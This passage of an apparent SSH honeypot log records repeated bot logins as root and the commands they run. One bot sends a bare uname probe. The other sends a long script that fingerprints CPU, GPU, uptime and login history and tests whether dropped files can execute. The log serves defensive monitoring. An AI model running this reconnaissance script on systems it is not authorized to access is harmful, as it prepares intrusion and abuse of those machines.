armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:28:54.296214+00:00",
  "ended_at": "2026-08-25T02:28:55.453384+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "ae32346a-8fe1-4045-aabd-07f200d86709",
  "name": "blazing-dutiful-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 36480,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 190,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:28:22.111513+00:00",
  "ended_at": "2026-08-25T02:28:27.120008+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "59a4caf9-ef8f-43c9-9a69-9ad5def1e47e",
  "name": "lunar-polar-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 38364,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:28:17.707322+00:00",
  "ended_at": "2026-08-25T02:28:22.996886+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "60e6b835-7179-4a8c-bd08-c76d60b34524",
  "name": "gritty-faded-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 52344,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:28:08.709655+00:00",
  "ended_at": "2026-08-25T02:28:09.140352+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "3569e8c8-6714-4f90-83e7-e0f9e71f63ed",
  "name": "patient-sooty-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 51144,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 240,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:27:50.707083+00:00",
  "ended_at": "2026-08-25T02:27:55.630493+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "86c20925-60d8-4a18-ba04-1c5408aeaf02",
  "name": "ancient-whispering-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 54858,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:27:28.017232+00:00",
  "ended_at": "2026-08-25T02:27:32.215920+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5db54136-34e8-4bba-b914-ee235c5ed09b",
  "name": "twilight-balmy-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 50732,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:27:23.946477+00:00",
  "ended_at": "2026-08-25T02:27:24.935078+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0aaabc75-547c-416e-83b8-a9f2db0b4b18",
  "name": "thorny-distant-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 49116,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:26:36.102238+00:00",
  "ended_at": "2026-08-25T02:26:36.703632+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f954c4a6-723f-4c27-8a97-1dff2352b4c1",
  "name": "shifting-hollow-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 59940,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 231,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:26:21.698174+00:00",
  "ended_at": "2026-08-25T02:26:24.899558+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3338589f-aa1d-422b-8d89-6f6bc1ddac1a",
  "name": "earnest-gilded-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 49460,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 191,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:26:09.523267+00:00",
  "ended_at": "2026-08-25T02:26:14.905064+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c99234b9-a84f-41ae-be77-884ab60e7f41",
  "name": "restless-amiable-oriole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 43548,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:26:00.118726+00:00",
  "ended_at": "2026-08-25T02:26:05.196954+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c59c9d2b-422e-4035-bda0-3434581e14b6",
  "name": "mellow-fearless-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 47494,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:25:46.314748+00:00",
  "ended_at": "2026-08-25T02:25:47.013085+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "d08b28a7-0257-4b64-9d7c-e5d87bb1f26e",
  "name": "ivory-sturdy-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 34804,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:25:45.504178+00:00",
  "ended_at": "2026-08-25T02:25:49.225596+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "838354a1-a27b-43a9-9b5a-ddd337cdf34c",
  "name": "inland-clever-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 38852,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:25:41.806104+00:00",
  "ended_at": "2026-08-25T02:25:46.502631+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bdd711ce-fc44-4852-a695-5b38aefa2eb9",
  "name": "curious-ancient-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 35214,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 228,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:25:15.398452+00:00",
  "ended_at": "2026-08-25T02:25:19.317304+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "15362ab5-6020-443d-a119-372c344bb6f3",
  "name": "fleeting-ashen-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 45876,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; 